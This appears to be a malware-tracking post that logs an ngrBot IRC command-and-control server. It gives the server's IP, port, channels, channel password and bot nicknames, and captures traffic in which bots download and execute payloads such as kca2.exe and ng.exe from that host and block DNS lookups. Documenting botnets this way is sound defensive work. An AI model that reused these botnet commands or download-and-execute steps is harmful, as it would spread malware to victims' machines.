2.byinter.net(ngrBot hosted in United States Stafford Singlehop Inc)

C&C Server: 69.175.32.237:6667
Server Password:
Username: msgvvei
Nickname: A[DE-XPC]msgvvei
Channel: #KCA (Password: KCA)
Channeltopic: :!j #X

Now talking in #X
Topic On: [ #X ] [ !j #XX !mdns http://69.175.32.237/~face/av.txt !mod usbi on ]
Topic By: [ KCA ]

UPDATE:
PRIVMSG #aryan :[AryaN]: Successfully Executed Process: “C:Documents and SettingsUserNameApplication Data10915679120753.exe”
NICK A[US-XPC]zjqsrws
USER zjqsrws 0 0 :zjqsrws
JOIN #KCA KCA
JOIN #X
JOIN #XX
PRIVMSG #KCA :[DNS]: Blocked 1259 domain(s) – Redirected 0 domain(s)
PRIVMSG #XX :[d=”http://69.175.32.237/~face/kca2.exe” s=”30208 bytes”] Executed file “C:Documents and SettingsUserNameApplication Data1.exe” – Download retries: 0
NICK n{KCA}XP|USA|254521
USER 2545 “” “TsGh” :2545
JOIN #KCA2 KCA
NICK KCA{US-XP-x86}0466005
USER 0466005 “” “0466005” :0466005
MODE KCA{US-XP-x86}0466005 +iMm
JOIN #aryan KCA
PRIVMSG #aryan :[AryaN]: Downloading File: “http://69.175.32.237/~face/ng.exe”
PRIVMSG #aryan :[AryaN]: Successfully Downloaded File To: “C:Documents and SettingsUserNameApplication Data10915679120753.exe”

hosting infos:
http://whois.domaintools.com/69.175.32.237